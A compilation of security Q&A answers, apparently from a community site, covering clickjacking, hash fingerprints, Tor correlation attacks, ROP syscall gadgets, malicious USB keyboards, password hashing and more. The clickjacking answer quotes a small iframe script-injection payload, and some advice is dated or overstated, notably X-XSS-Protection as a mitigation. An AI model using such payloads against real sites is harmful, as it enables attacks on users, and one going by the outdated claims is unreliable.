We have a FAQ for that :) https://github.com/zaproxy/zaproxy/wiki/FAQzaptests

ZAP has a built in set of 'input vectors' https://github.com/zaproxy/zap-core-help/wiki/HelpUiDialogsOptionsAscaninput but you can also define your own via script input vectors: https://github.com/zaproxy/zap-core-help/wiki/HelpAddonsScriptsScripts


To protect against clickjacking, is it safe to have a web page display its content until framing is detected?

As per your cited OWASP article, there are some examples further down the page.
eg. This one to prevent the framebuster code from loading at all:

<iframe src="http://www.victim.com/?v=<script>if">

This can be mitigated through the use of security headers:

X-XSS-Protection: 1; mode=block

This will prevent the entire page from being rendered should such a query string attack take place.


Is "Fingerprint Check" enough to verify HTTPS certificates?

Yes. There is a small possibility of creating another cert with the same MD5 hash (an MD5 collision), there is basically no chance of 2 inputs having both the same MD5 and the same SHA1 hashes. This dual hash fingerprinting is used as evidence in court. You want to prove a file is the same file, or a HDD's contents didn't change while it was in Law Enforcement's hands, etc. this is how it is done.


Protecting my encryption algorithm if the attacker knows the key

You are asked to provide a program doing the encryption but not the decryption. That means the obvious solution is to use asymmetrical cryptography. Any standard asymmetrical encryption algorithm will do.

You say:

  If the program uses a key or some other parameter necessary for the decryption of the ciphertext, we must provide it to him.

But you only stated that you had to hand in a program for encryption not decryption. Obviously with asymmetrical encryption the program you hand in for encryption will not make use of the decryption key.

If you had to hand in both decryption code and decryption key, there would be nothing you could do to protect your cihpertext. If you have to hand in only the key and not the code, this opens op a major loophole, you could take advantage of.

Many cryptographic algorithms include random looking constants. If you are free to design your own algorithm, the boundary between constants in the algorithm and the key can be manipulated as you wish. Take any standard algorithm call the constants in the algorithm the key and hand those over and call the key of the original algorithm constants (which will then be hardcoded in the decryption program, which you do not have to hand in).

That would certainly be bending the rules to your advantage, but it would still be within the word of the rules as stated in your question. Of course I cannot rule out the possibility that you accidentally worded the constraints differently from how it was intended, in which case this solution may not apply.

You also ask:

  So it boils down to making something original I guess

I would be surprised if that was the intention. Certainly coming up with an original algorithm is not considered to be the way in which security is achieved.

Maybe the professor wanted to make a point about the security about original algorithms by showing how all the original algorithms would be broken. However if that's the intention of the challenge, then the professor is running the risk that one of the solutions only has vulnerabilities too subtle for the professor to immediately exploit.


Docker container which reads memory belonging to another container

Memory doesn't belong to a container, it belongs to a process.  By default a container will setup a namespace for PIDs (and other things) so a process running under a container will only see processes running under that same container and therefore only be able to read the memory of those process.  However, if all capabilities were granted then the process could escape that container's PID namespace and potentially access all processes.

Is there a difference between whether you run in a container or not?  Yes, to the extent that a process makes use of the capabilities it has.


A quick Google search returned:

Links to Related RFCs
SSL/TLS Strong Encryption: An Introduction
Introduction to SSL


Is this idea for a password manager secure? If so, why doesn't anybody use it?

One problem with this kind of solution where a predictable algorithm is used to generate a secret from a master password/phrase, is that if your master password is compromised directly (e.g. keylogger) or indirectly (e.g. an attacker with a password of yours generated through this system who can carry out a brute-force attack on it), the attacker has effectively compromised the security of all of your accounts, as they would be able to easily generate the passwords you use for all sites.


Every single day is a spam storm day.

To give you an idea, take a look at these statistics (on 04/02/2013) from Project Honey Pot, which is just one out of many such networks for identifying spammers and spambots:

Or check live statistics for past 10 minutes from UCEPROTECT network. These are some scary statistics, and it does not matter what day of the year you'll be checking them, they will never fall to impress. That said, if it's still not clear by now - this is the onslaught that your spam filters (or anti-spam networks, if you're using any to do the filtering for you) have to deal with on a daily basis.

To answer your question directly:

No, today is not a special or a particularly remarkable day in terms of the number of spam messages or spamming hosts trapped. I've also checked the log files on my own email server, and a few other providers I have access to just to be sure, and I didn't notice any unusual patterns. Results? A few hundred new email harvesters (robotic webpage crawlers trying to collect email addresses), another few hundred spam emails trapped per each user, a few new scam schemes promising millions for a small funds transfer fee (or similar yada yada), dozens of new stealth bots (crawlers that don't identify themselves and disrespect robots.txt configurations) per website I manage trapped, a few new network neighborhoods marked as untrusted for hosting or relaying a lot of unsolicited traffic, and so on, and so on. Nothing unusual really, when compared to any other day of the year.

So why are you receiving more spam than usual?

This part of your question is not so easy to answer as you're not providing enough information. But even if you did, we would probably have to resort to educated guessing at best. Have you published your email address on some publicly available webpage that was picked up by a random email harvester working hard for some spam network? Did any of the recipients of your previous messages get a virus on their computers and was your address collected from their mailing lists? Did you anger a script kiddie that submitted your email address to various spamming hosts? Are you using a generic email address composed of common names and is hosted by a busy provider, some spam bot got lucky, and you later enabled image display in received spam messages which confirmed to that bot that your email address exists and is not filtering its messages as spam? All this and a lot more reasons are all quite possible and also happen each and every day. Again, nothing unusual.

Chances are, you're not even receiving any greater number of unsolicited emails, but have noticed them now more as they found their way into your inbox due to your spam filters not being properly configured, one of your anti-spam networks that your filters depend on being temporarily down or inaccessible, or even your email server being infected with malware that opened it up to this kind of abuse.

EDIT: The headers you're including support one of my speculations that your spam filters might not be properly configured for your specific needs (looks like default settings to me, but is hard to judge by these headers alone). Your mailing system is depending on Google's Postini services to filter unsolicited emails out, which failed to mark Bayesian poisoning type messages out with other filtering methods. In short, messages were written in such a way to avoid detection by spam filter depending on Bayesian probability and other detection methods' sensitivity is set too low. See this answer to one of your previous questions on how Bayesian poisoning works.

Bayesian probability score isn't the only way such messages are filtered out, which is clearly indicated by X-Spam-Score: 2.00 header field value of your first example (a spam message that was not filtered out). To demonstrate this, let's analyze the other values in this message header:

HK_NAME_FREE: Does the sender's name mention free stuff
HTML_MESSAGE: Is message in a HTML format
SPF: Sender Policy Framework
RBL: Real-time Blackhole List

The results of all these methods in your case resulted in a spam score of 2 for the first message, and 4 for the second one. This is significant as it is the value that your system administrator can use to setup Postini services to mark messages as spam earlier than at detected score of 3.8 ([Tag at 3.80] indicates current value) by adjusting sensitivity levels of various spam detection methods. Your anti-spam filtering is also done by using two additional services, one by IEEE UCE/Spam Filtering Service, and the other by CanIt-PRO AntiSpam Software, probably residing on your organisation's mail server and setup by your system administrator. All of these have separate settings and might require a lot of work to set them up to suit your needs better. Consultation with your systems administrator is probably the most proper way forward.

Best of luck ;)


Visibility of network traffic in Teamviewer

The following answer is made under the assumption that TeamViewer uses a secure connection with remote host/peer validation.

Source: https://community.teamviewer.com/t5/Knowledge-Base/How-secure-is-TeamViewer/ta-p/4619

If the TeamViewer client correctly verifies the remote host and no invalid remote host error or warning is given, we can conclude the connection is secure and is not subject to a mitm attack.

However, it seems that TeamViewer is using self-developed key-exchange and remote host validation mechanisms and is not using open and popular algorithms like TLS 1.2 or TLS 1.3.

Because the implementation is an important factor we cannot be completely sure a mitm attack is impossible.


Creating an TLS certificate using keytool with SHA-256

Your certificate is already signed with SHA-256. (So the keytool part seems to have worked.)

It's just that your browser and your Tomcat server have negotiated a cipher suite where SHA1 is used as a MAC.

Same crypto building block, different use. You just need to find a way to tell Tomcat to prefer a SHA256 ciphersuite. (This blog might help: Mike Noordermeer, 2014-02-05, SSL/TLS, ciphers, perfect forward secrecy and Tomcat. Archived here.)


How can a SAML Relying Party redirect to one of two IDPs?

The first two SF login scenarios, one of User1 and first one of User2 is possible simultaneously which is straight forward.

Before I go further about the last two logins, I am presuming the Custom App you've mentioned is also on Salesfore. From your question, you're already on closer side for a solution as for both logins you are using same IDP. This makes your case easy. If you had two different IDPs that wouldn't be possible as SF doesn't support multiple IDPs.

To login to two different parts(SF defines them as Portals) of Salesforce, we need to define properties for each App. That is define org id and profile id for each portal. You've to switch between these two property files and generate a SAML response, depending on source of your call. You will be logged onto SF or your Custom app based on this portal id.


It appears the offending traffic was dropped, since your output contains action="dropped".

Searching for your exact title led me to the FortiGuard Encyclopedia, which explains the issue:

  This indicates an attempt to obtain the IP addresses of a user through
  WebRTC in various browsers. The issue is due to a design in various
  browsers when handling WebRTC calls that probes STUN server to obtain
  a user's IP address. A potentially malicious actor can exploit this to
  obtain a user's local and public IP addresses, via a crafted web page.

Further, the same page links to some example JavaScript code that demonstrates how this works.


encryption method against man in the middle attack

You need a definition. Namely, what is "Bob" in Alice's view ? If "Bob" is "whoever responds" then Carol would make a nice Bob -- in that case, there is no real attack, just Alice talking to "someone" who happens to be Carol.

If there is a definite notion of Bobness that Alice can use, then there are algorithms which build on that. That's how SSL works. Imagine that you are Alice, Bob is a Web site that you know by name (e.g. "www.paypal.com"), and Carol is your Evil ISP. You do not want to talk to just anybody, you want to talk to a specific Bob/server that has a name. Public key certificates can use signatures to give you some guarantee over the binding between the name ("Bob", aka "www.paypal.com") and a public key: the guarantee provided by the whole system is that a given public key is really "owned" by an entity who bears the name "www.paypal.com", where "owning" means "having exclusive control of the corresponding private key", and in a way that Carol cannot obtain a similar guarantee.

Once there is a known server's public key, the key exchange can be protected against MitM. Again, see how it is done with SSL.

In the case of X.509 certificates, Alice must have an a priori knowledge of a root certificate authority public key (here "trust anchor"). For another model, consider SSH. Here, we assume that Alice could establish, at some point, a Carol-less connection to Bob (or a connection that Carol did not bother to alter). Then, Alice remembers Bob's key, and uses it again for all subsequent connections. That's how SSH usually works: for the first connection, the client requests explicit user confirmation, then stores the public key in Alice's .ssh/known_hosts file. Ideally, for the first confirmation, Alice would verify with some out-of-band mechanism the server's public key (its fingerprint) before accepting it the first time (e.g. by making a phone call to the server sysadmin, and checking with him the key fingerprint).


Long passwords and key derivation functions

If the attacker knows for sure that the (character space size) ^ (password length) is greater than 2 ^ (AES key length), then, yes, it's a better idea for the attacker to brute-force the AES key. Given such an assumption of the attacker's knowledge, it's a mathematical fact that the search size for the AES key will be smaller.

Such an assumption of attacker knowledge could possibly be satisfied, for example, by a physically-nearby attacker who listens to you type out your lengthy passphrase on a keyboard for a very long time (i.e., more than 39 keystrokes).

However, if the password is not selected truly at random from the space of all possible passwords (for example, it's known that the password is made entirely or partially of English words) then the true search space of the password (given such a weakening assumption) may be much smaller than the theoretical maximum of (character space size) ^ (password length), and thus may be smaller than the search space of all AES keys.


Which password policy is more secure: one password of length 9 vs. two passwords each of length 8?

As John Deters has noted, 2x8 is almost certainly worse - but the reasons why take a little explaining.

There were a couple of problems with LANMAN hashes (the classic case of breaking a password in half, gone awry):

Since passwords tend to be human-generated and somewhat short, if a single password was only a little longer than the first half (say, 8 characters), then cracking the second half would take dramatically less time - and could even give away what the first half was likely to be
LANMAN was just so darned fast (for the attacker to attempt, in hash operations per second)
LANMAN cut the passwords in two at an unfortunate length (7), that was quite susceptible to full exhaustion (and even moreso on modern GPUs)

However, your question is a little different from the LANMAN case:

It does not state that the 2x8 passwords are actually a single password broken in half (they could be independently generated, and random)
It explicitly states that the two passwords are of length 8 (rather than, say, one of length 8 and the other of length 1, the famous LANMAN worst case)
Unless your salts are trivially small, building rainbow tables would be infeasible - which is the purpose of salting (unlike LANMAN hashes, which were entirely unsalted)

So it's an interesting question - one that's largely answered by looking at the associated math.

Let's make some assumptions:

Both the 9x1 and 8x2 approaches are salted and hashed using the same
salt lengths and algorithms
Worst case for the attacker - the passwords are randomly generated from the printable ASCII character set (95 chars), with reasonably long salts. (The question would be less interesting if the passwords were human-generated, because in practice they would usually fall to easy attacks long before the attacker would have to resort to brute force)
Modern hardware and speeds are fair game
The hash algorithm may or may not be parallelism-friendly

Given all of the above, I'd roughly expect:

The 1x9 hash would be 100% exhausted in 95^9 (6.302 × 10^17) hashing operations (which might be parallelized well or poorly).
The 2x8 hashes would be jointly 100% exhausted in (95^8)x2 (1.326 × 10^16) hashing operations (and no matter the algorithm, could easily be naively parallelized simply by cracking each hash on a different system - but can often be parallelized very efficiently on a single system as well, depending on the algorithm).

In other words:

That 9th character adds 95 times the work to exhaust, and might be hard to parallelize
Two 8-character passwords only doubles the amount of work needed, and can be trivially parallelized

Another way to think about it is that adding one more character roughly creates the same work as having to crack 95 eight-character passwords! (If this isn't intuitive, start with simple cases comparing smaller cases like 1x1 vs 1x2, until you understand it).

So all other things being equal, 1x9 should almost always be better than 2x8.

And really, this is not only a simple illustration of the power of parallelization, it should also make it obvious why allowing longer password lengths is so crucial. Each additional character in the model above adds 95 times work to the overall keyspace. So adding two characters adds 95^2 - or 9025 times - the work. Brute force quickly becomes infeasible, even for very fast and unsalted hashes.

This would make an excellent homework question. ;)


If an entity with government-like budgets is after you specifically, you're in big trouble, and no simple software system can save you.  You need serious spy skills ;-)

More to the point...

Perhaps the biggest problem with Tor is correlation attacks.  There has been some new research in this area of late that is causing some justifiable heartburn.

The basic idea is that when you take some online action (like sending a tweet) your computer generates a series of packets that get transmitted via the tor network.  These packets are encrypted, but they are emitted at certain times and in a certain order.  If the person trying to de-anonymize you can log the local traffic at your house AND the traffic coming in to Twitter, they can:

find the set of packets arriving at twitter that produce the tweet in question.
look at the spacing of those packets in time (first packet, wait N milliseconds, second packet, wait M milliseconds, etc...)
compare that spacing of those packets to the spacing of the packets recorded coming from your network.
Even though they can't directly read the packets coming from your network, by matching them up against the packets arriving at the endpoint, they can gain a surprising level of proof that the packets originated with you.

It has long been known that this could be done for a single user.  The recent research I cited was successful around 80% of the time in de-anonymizing tor traffic.


Return oriented programming without int 0x80

int 0x80 is a really old way to make system calls. I'm not sure if it is even supported anymore. You might want to look for syscall/systenter instruction in the image. Ofcourse this depends on what underlying hardware and OS you are using. If you are using any hardware/hardware vm emulator and software newer than from 1995, you should probably be looking for syscall/sysenter instruction.
Syscall/Sysenter are used(one or the other used depending on if the executable is 32bit or 64 bit) to make system calls. Register configuration for using syscall and int 0x80 should be the same.
You should be able to find syscall/sysenter easily. most applications should have vdso.so mapped into its address space. You can maybe use this knowledge to find syscall ret gadget. Refer
https://man7.org/linux/man-pages/man7/vdso.7.html
You cannot make two syscalls on the same core at the same time.


Is bluetooth keyboard more secure than USB keyboard for a malicious firmware?

It doesn't matter whether the device is USB or Bluetooth, nor does it even matter if the device is a keyboard - the same potential attack vector applies. I'll focus on USB here since I'm more familiar with USB HID then I am Bluetooth device endpoints.
When a USB device is connected to the system, the host asks it for its descriptor. The descriptor is effectively a big block of data that tells the host what it's called, what USB features it supports, what interfaces and devices it implements. One physical USB device connected to one physical USB port may in fact report itself as multiple devices, each with its own functionality. This is how combo devices like keyboard/mouse or USB-C touchscreens work.
A malicious device could implement a USB HID (human interface device) keyboard alongside its "normal" functionality, and send whatever keys it likes to your system. This is how devices like the USB Rubber Ducky - they look like a USB stick or something else innocuous, but inside they've got a small microcontroller that implements a USB keyboard interface that you can program to send whatever keyboard strokes you like when you plug them in. A common payload is to hit the necessary keys to launch a run prompt, then execute commands that download a reverse shell script, giving the attacker complete control of the system.
You can take this one step further with something like the O.MG cable, which looks and acts just like a regular USB cable but actually lets you remotely send keystrokes over an 802.11 WiFi access point built into it. Same attack but with interactive control.
There's pretty much nothing you can do to prevent this attack, other than carefully auditing the USB devices that are exposed by the device, or perhaps implementing a USB device security policy on your system if the inconvenience isn't too great (it probably would be for general users).
The answer to "why isn't everyone freaking out about this" is that almost no attackers want to invest in costly and risky supply chain attacks on peripheral hardware unless there's a very high chance of getting high value returns. It's something that you need to consider in nation state infrastructure, but for corporate stuff you can get by with device lockdown policies and monitoring, and for home users there's basically no reason to waste this kind of attack.


How dangerous is storing the hashed password in local storage?

It's really dangerous.

The use of the local storage to store session identifiers is never recommended as the data is always accessible by JavaScript.

Please use Cookies to mitigate this risk using the httpOnly flag.

A single XSS (Cross Site Scripting) attack will be able to steal all the data in these objects and/or load malicious information, so don't consider the "local storage" to be trusted and less for a session identifier/hashed password.

Ref: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#Local_Storage


Updated version of Browser Security Handbook

The Browser Security Handbook laid the foundation for his book: The Tangled Web which (as of Nov 2012) is the most current book form the same author.  I purchased the book about a year ago and think it's a fantastic read.

As far as I know he hasn't released any newer or more updated information (appendix, etc) outside of his blog. But this entry as of 11/16 says he is working on a new book, though I haven't seen specifics yet.


As stated in my earlier comments, and an answer to Question 1, a solution already exists for what you wish to implement, and that is the FIDO2 project by the FIDO Alliance. This is a project that consists of a set of specifications and protocols with the main idea being that of "leveraging common devices to easily authenticate to online services in both mobile and desktop environments" (source) and, thus, essentially get rid of passwords once and for all. Industry leaders such as Google and Microsoft have also started to adopt FIDO2 for their internal as well as consumer-facing services, while all major browsers support it.

FIDO2 includes a web authentication standard by W3C, WebAuthn, which in simplistic terms tells you how to implement an API for accepting public key credentials on your website. Clients are then able to use an authenticator that securely stores the private key and sign the data sent by the server to register and authenticate. This is performed by the Client to Authenticator Protocol (CTAP). The authenticator can be in the form of a security key (such as YubiKey), the TPM on a laptop, or even Android phones running OS version 7.0 or later (source). As such, users can secure their authenticators by adding another local authenticator factor, such as a PIN or Biometrics.

Getting into FIDO2 by reading through the actual specifications may be a bit daunting, so I would suggest to look at the following blog post which explains all of this pretty well, at a high-level of course. I also recommend this video by FIDO Alliance for a dive into the technical details. Something else that may be confusing is the difference between FIDO2 and FIDO, and other standards such as U2F and UAF. The answer to this question explains the differences.

As per Question 2, my recommendation would be to stick with well-research and well-developed solutions rather than coming up with your variation of public key based authentication system. All systems are susceptibles to flaws, but I would trust the wholistic effort going into FIDO2 more than I would trust my own efforts in devising something from scratch. To date, I am not aware of any vulnerabilities with WebAuthn or CTAP.

As per Question 3, @Angel's answer covered it well:

  You are allowing replay attacks for 30 seconds. Plus, all the
  complexity of the clocks of client and server drifting apart. You
  should have the client sign a server nonce (which can then include a
  timestamp), rather than trying to "simplify it".

A combination of a nonce and a timestamp is widely implemented in many popular authentication schemes, such as Kerberos to name one.


How to modify a certificate using getTBSCertificate() method

Mr. Mike, all what you have to do is to get the row data DER-encoded certificate information (TBS part) and you can extract it as below

URL url = new URL("https://www.google.com/");
HttpsURLConnection con = (HttpsURLConnection) url.openConnection();
con.connect();
Certificate userCert[] = con.getServerCertificates();
        X509Certificate x509cert = ((X509Certificate) userCert[0]);

    byte[] tbs=x509cert.getTBSCertificate();

Then copy the content of the array tbs to another array bcopy through a loop and do what ever modifications you want (i.e by using the masking technique Anding with x55) after that you can get the hash value through

 String sha1 = "";
MessageDigest crypt = MessageDigest.getInstance("SHA-1");
        crypt.reset();
        crypt.update(bcopy);
        sha1 = byteToHex(crypt.digest());

private static String byteToHex(final byte[] hash)
{
    Formatter formatter = new Formatter();
    for (byte b : hash)
    {
        formatter.format("%02x", b);
    }
    String result = formatter.toString();
    formatter.close();
    return result;
}

at this point you have the hash value of the modified certificate, you can go now and extract the signature from the original certificate [ byte[] sig= x509cert.getSignature(); ]  and decrypt the signature to get the hash value and compare it with the modified hash value, good luck ;)


Can I say that my web app is HIPAA compliant?

Well no - you get a third party to audit your controls and they sign off and say you are HIPAA compliant. Its the whole seperation of duties thing your company builds it and a independant trustworthy third party confirms the work you have done.


If perl/python is not guaranteed to be installed on a target system why are those scripts useful to hackers?

Not every attack requires running Perl/Python scripts on your machine. Exploiting buffer overflows, SQL injection via a network interface and others have no requirement for Perl/Python. Using those languages can make creation and delivery of the payload much easier
Yes, an attacker could install their own interpreter. Depending upon the level of compromise (rootkit) and the common usage of the system (prod vs test) the installation may or may not be detectable and may or may not be dismissed if detected
These languages were once the new, hot, sexy thing to learn, much like ruby and jquery are now. Many security experts wanted to learn these languages and so used them to create tools.
Today, there are multiple tools that use these languages. This creates some amount of momentum to continuing to use these interpreters.
These interpreters are pre-installed on many operating systems and run pretty consistently on different platforms. This makes development, test, and reuse easier. It also makes exploit easier when victim systems already have the interpreter installed.
These interpreters have many highly useful libraries that provide extremely useful functionality. This makes tool development much easier. Tis functionality may not be as easily available with sh/dos. Especially so, consider that sh/dos relies on other programs to do most of the work, and can provide minimal builtins.
Dos provides very limited scripting capability. It's very difficult to do something really complex with a dos script.
Just like your interpreter of choice may or may not exist, the same may be said of almost any other software. Unix systems don't actually require a shell to operate. Missing the shell makes it more difficult to maintain, but it will still run.
In situations where an interpreter is used on a system, both the interpreter and script may contain vulnerabilities. Hackers may enjoy exploiting these preinstalled vulnerabilities. Well known vulns make it even easier.

There are probably other considerations that make your common interpreter of choice no worse than and probably better than sh or dos, but I am too lazy to write more.


Data recovery for pulling out all data, and software to find types of content

Quick and dirty data recovery for Linux often involves

dd for disk imaging.
ddrescue if you find you have to deal with bad sectors.  May not be optimized for flash memory (i.e. sd card/usb stick etc) though.
photorec for scanning raw disk images for various data formats (maybe copy the image and zero out the known files, so you only find deleted ones?).
testdisk looks for entire deleted partitions (same source as photorec)

"file" is occasionally useful, if you think you have a valid file but aren't sure what type of application to try reading it with.  Much of the time I'm using it for some other purpose - though I guess my frequent file -s /dev/sda1 counts if you stretch it a bit.

There are definitely more specific, professional solutions though.  I believe some software contains hashes of many known files.  That would be useful for "needle in a haystack" problems - someone could have hidden files on a computer under the Windows directory, for example.


Are multiple network interface still recommended in a virtualized world?

It depends on your security goals. Separate interfaces have been used not only for the advantages you stated, but also to keep the dedicated networks, storage and backup networks, and the administration networks logically segregated. Just because an infrastructure is virtualized doesn't mean that the need for network segregation goes away.

If you lump all these networks together into one you are no longer able to enforce specific security rules for each, so if you have a security requirement to keep these networks separate before virtualization then you need to keep them separated after virtualization.


Is AES encrypting a password with itself more secure than SHA1?

Short answer: bad idea, don't do it.

Longer answer: the point of the exercise is to store something which allows the server to verify a given password, but does not allow it to rebuild the password; the latter property is desirable, so that consequences of an illegitimate read access to the server database by an attacker remain limited.

So we want a one-way deterministic transform which converts a given password into the verification value. The transform shall be:

configurably slow, so as to thwart dictionary attacks;
distinct for every instance, to prevent parallel dictionary attacks, including precomputed tables (that's what salts are about).

A single invocation of MD5 or SHA-1 fails on both accounts, since these functions are very fast, and not salted. Slowness can be done through nesting many invocations (thousands, possibly millions), and the salt can be injected "somewhere", although there are good and bad ways to do it. PBKDF2 is a standard transform which does just that, and it is not bad at it (although bcrypt should be somewhat preferable).

However, MD5 and SHA-1 do at least one thing right: they were designed to be one-way. That's hard to do; it is not even theoretically proven that one-way functions can really exist at all. Cryptographers around the world are currently involved in a competition to design a new, better one-way hash function.

So what your professor seems to recommend is to replace a function designed for one-wayness, with a function which was not designed for one-wayness. It does not correct anything about slowness and salting, but it removes the one good thing about MD5 and SHA-1. Moreover, AES is known to be relatively weak with regards to related-key attacks -- that's not a problem as long as AES is used for what it was meant to, i.e. encryption, but it becomes an important issue when it is subverted into a building block for a one-way hash function. It seems possible to build a secure hash function by reusing parts of the AES design, but it requires substantial reworking (see for instance Whirlpool and ECHO).

So do not use a homemade AES-based password hashing scheme; for that matter, do not use anything which is "homemade": that's a recipe for disaster. Security cannot be tested; the only known way to make a secure algorithm is to have hundreds of trained cryptographers look at it closely for a few years. You cannot do that by yourself. Even a lone cryptographer will not risk that.

Instead, use bcrypt. PBKDF2 is not bad either.


Someone keeps using my email address. What to do?

This is not very uncommon. Unfortunately you have no single solution, unless the individual is in the same locale as you (in which case you may be able to take legal action if he is causing you to incur costs)

Generally, there is no technical solution, as this is a human problem. They could be doing it deliberately, as Pacerier suggests, or they may just think that they have the email address right.

Online services typically just let people signup with whatever address they give. The better ones require email validation - so as long as you don't validate the email, those ones shouldn't cause you any problems.

In summary - you can try and educate the guy, but basically you'll just need to ignore the issue.


Is it good practice if all programs have their own user ID?

The question reverses the problem. Subsystem isolation exists for a long time in server OS through specific UIDs. You can even go one step further with virtual machines or jails in BSD systems.

For the client programs part, the desktop OS way is to split the program in two parts, an human interface that runs under the used id, and a daemon (or service in Windows world) that can run under its own id (think of databases like PostgreSQL for example).

So the security is in the hand of the system administrator who can choose a security pattern adapted to the sensitivity of the appliation/data.

But in Android, you have no access to an administrative account, so the end user cannot configure any security pattern. So the solution was to declare an user id by application vendor (note by vendor not by application!) in order to limit the damages caused by one application to applications of the same developper.

In the opposite, until the most recent Android versions, the end user could not choose to limit what an application could access: if the developper choosed to ask access to the contact directory, the user could not do anything against it except not installing the application.

So my answer is that one user id per application has no mean to be added to normal OSs because it is already present for a long time (provided devs make use of it). But maybe Android system will add features to allow the end user to control more finely what applications are allowed to do


Does two factor authentication prevent social engineering attacks

Social engineering is hard to mitigate problem. Why? Because it's targeting the weakest security point of all system: users.

So indeed, the more complicated the system is, the more complicated for attacker it gets. But usually, they get information because someone does not respect the protocol, e.g. sending confidential data by fax, giving information to people they did not authenticate by phone. So even if you put on fingerprint solution, with 3 access card and a guard supervisor, if the authenticated users gives the last draft to someone they think is a colleague by mail... all of this is vain.

The best prevention against Social Engineering is : awareness. You will have better to form user not to do bad things than hardening process. The more complicated the procedures gets, the harder users will try to avoid it because they thing they will lost time. And people don't like is. But if you can show them example of bad behaviour, or company that gets "hacked" by social engineers etc, they may understand that the measures are here for the good of the security. But if anyone is ready to give their password to their "admin" over the phone... this is hopeless.

As a conclusion, two factor authentication may improve security against social eng. in that way it could make people aware that credentials is really theirs and are part of their identity (e.g. fingerprint is part of your body). But all security measures would be useless without a good awareness of users.


Good Security tool for PHP- Suhosin vs Spike vs PHPIDS

Spike is a static analysis tool and you should run it on your code before deploying it on your server. It will attempt to highlight any potential programming error which you will then need to take action to fix.

Suhosin and PHPIDS will alert when an attack / event is detected in real time.

Suhosin in my experience is more about run time protection as opposed to alerting potential attacks. However it will alert on events such as scripts trying to raise memory limits and other such actions.

I have never personally deployed PHPIDS, but looking at the features that it provides you may also want to consider Apache mod_security. With mod_security it will detect events such as SQL Injection and depending on the configuration it can be logged, blocked, logged & blocked, or some other action can be taken.


How to hide or obfuscate the type of OS?

You can hide from Telnet by changing the welcome banner of each service you're worried about (some of these will be easy to change, others will be hard).
You can make Nmap's OS detection less reliable by configuring your firewall to drop all packets to closed ports: Nmap works best if it can find both an open port and a closed port to probe.


Looking for example of well-known app using unsalted hashes

Amazingly enough, MYSQL is a great current example.  The recent hack of Oracle's mysql.com site (Irony: MySQL and Sun websites hacked using SQL injection - TNW Industry) exposed a bunch of unsalted hashes for important accounts, with high quality passwords like "qa" for three accounts (qa_r, qa_rw, and qa_adm), all of which hashed to "077f61a849269b62".  They could be easily searched for on rainbow table sites like Passwords recovery - MD5, SHA1, MySQL.

Even the "new, improved" algorithm used since MYSQL 4.1.1 is simply an unsalted double application of the now-deprecated SHA-1 algorithm.  See Simulating MySql's password() encryption using .NET or MS SQL - Stack Overflow.  In the documentation for PASSWORD() they say you should not use it in your own applications.  But the advice they give is terrible and they offer no excuse for why they don't simply migrate to a good algorithm with not only salts but also adaptive hashing like bcrypt or PBKDF2.  Note that if you don't use an adaptive technique to iterate the hash, each salted hash is very vulnerable these days to fast cheap brute force attacks that can try billions of candidate passwords a second.

Update: A jaw-dropping example of a huge unsalted database for passwords (with hints!) is Adobe's set of 130 million, stored using reversible encryption (3DES), which was exposed in October 2013.  And of course the fact that they encrypted rather than hashing is terrible also.  See How an epic blunder by Adobe could strengthen hand of password crackers | Ars Technica.  It's a database, presumably not an available application, which illustrates again why you shouldn't roll-your-own like this in the security world.

It was the subject of the XKCD comic "Encryptic": 1286: Encryptic - explain xkcd


Changing Linux system files by malware from another OS. Is it possible?

Is it possible that Windows malware modifies an installed Linux partition?

Let me ask you the inverse: What would make you think that it is impossible? Indeed, when thinking about it that way, it makes it pretty clear that it's at least possible. Nothing really prevents malware from mounting the partition and manipulating the files on the partition, including the kernel.
Does that mean it's likely that malware would do that. Not really. If you think about it, the moment malware runs on your Windows OS, the attacker can already run code on your machine. There is little to gain from writing malware that would only target a fraction of the users (Windows users who have Linux installed on a secondary partition), when they already have an OS they can exploit.

Does the kernel notice these changes?

No, because that's pointless. If malware can directly write to the linux partition, it can simply install its own kernel, which removes this check - would it exist.

Is it better to unmount this drive?

Disconnecting is even better. If the computer has no way to write to a disk, then malware can't overwrite it.

Is Windows a "risky" OS?

Windows is just as secure as Linux is, depending on how you set it up. The fact that most malware targets Windows stems from the fact that 3 out of 4 desktop PCs run Windows.


Tests, automated or not, cannot detect backdoors. Tests detect non-malicious errors. It is easy to hide a backdoor that no test wil ever detect.

If you want to be sure that there is no backdoor in your software, then there is only one solution: write it yourself. This extends to the software tools (define your own language, write the compiler), the operating system, and the hardware itself. Ultimately, you can assume that a bucket of sand is backdoor-free; and sand is silicium.

In practice, what you cannot do yourself, you have it done by people you trust. That's the rationale behind making background checks for developers.


Is information disclosure in a form of a server header a real vulnerability?

OWASP defines Information Leakage as a vulnerability, so the debate is really on whether or not the specific version information should be classified as "Information Leakage".

As @Oasiscircle mentions, this information can be used as a starting point for attackers who know of specific vulnerabilities associated with specific versions.  We know attackers use botnets to scan servers looking for version fingerprints, and they use this information to maintain databases of application versions and server addresses.  Shodan provides a widely used database of this info.  When a new exploit is introduced that targets a specific version, or if an attacker develops a 0day exploit against a version, these attackers do a simple select of their databases and strike quickly, hoping to catch some of these machines before they're patched.

Does that make knowing a specific version number a vulnerability?  Not directly, but it puts you in the cross-hairs of a field of snipers, each with a hair trigger and the motivation to strike first.  I'll leave it to you to determine for yourself if you consider that a vulnerability.


Eavesdropping a communication between a local application and the network

Try to install and use Wireshark network sniffer. It already know how to parse tons of protocols. And its ability to parse protocols can be expanded.


How "strong" is a password generated using PostgreSQL `random()`?

According to this post, PostgreSQL's random is a 48-bit LCG. This means it has 48 bit seed and 48 bit state. Once somebody guesses either of those, he can generate the same numbers as you, so also the same passwords.

As far as I can tell, in PostgreSQL the seed is always the same (unless you call setseed). This means that an attacker can create a list of passwords by just running the same function you used to create the passwords. He can then use this list to brute-force your application.

If an attacker obtains one of the passwords, he can deduce all other passwords, even if you seed the random function correctly.


Anonymity network like tor, but using the model of torrent

Freenet is the closest to what you mention as it acts as a fully P2P service sharing between nodes in approx. equal ammounts dependent on your settings.
I2P doesn't have the same P2P infrastructure and works purely message-based but can still transfer similar amounts of data just not in the same egalitarian way you mention.

You can find a quick comparison of the two here: https://geti2p.net/en/comparison/freenet

And here you will find a list of other smaller networks a well as the two larger ones I mention above: https://geti2p.net/en/comparison


Does installing Apache on my local machine create new security risks?

Generally speaking, the more applications you have on your host, the more likely you are to get exposed. Each application you add, particularly those that listen/accept external requests increases the risk somewhat.

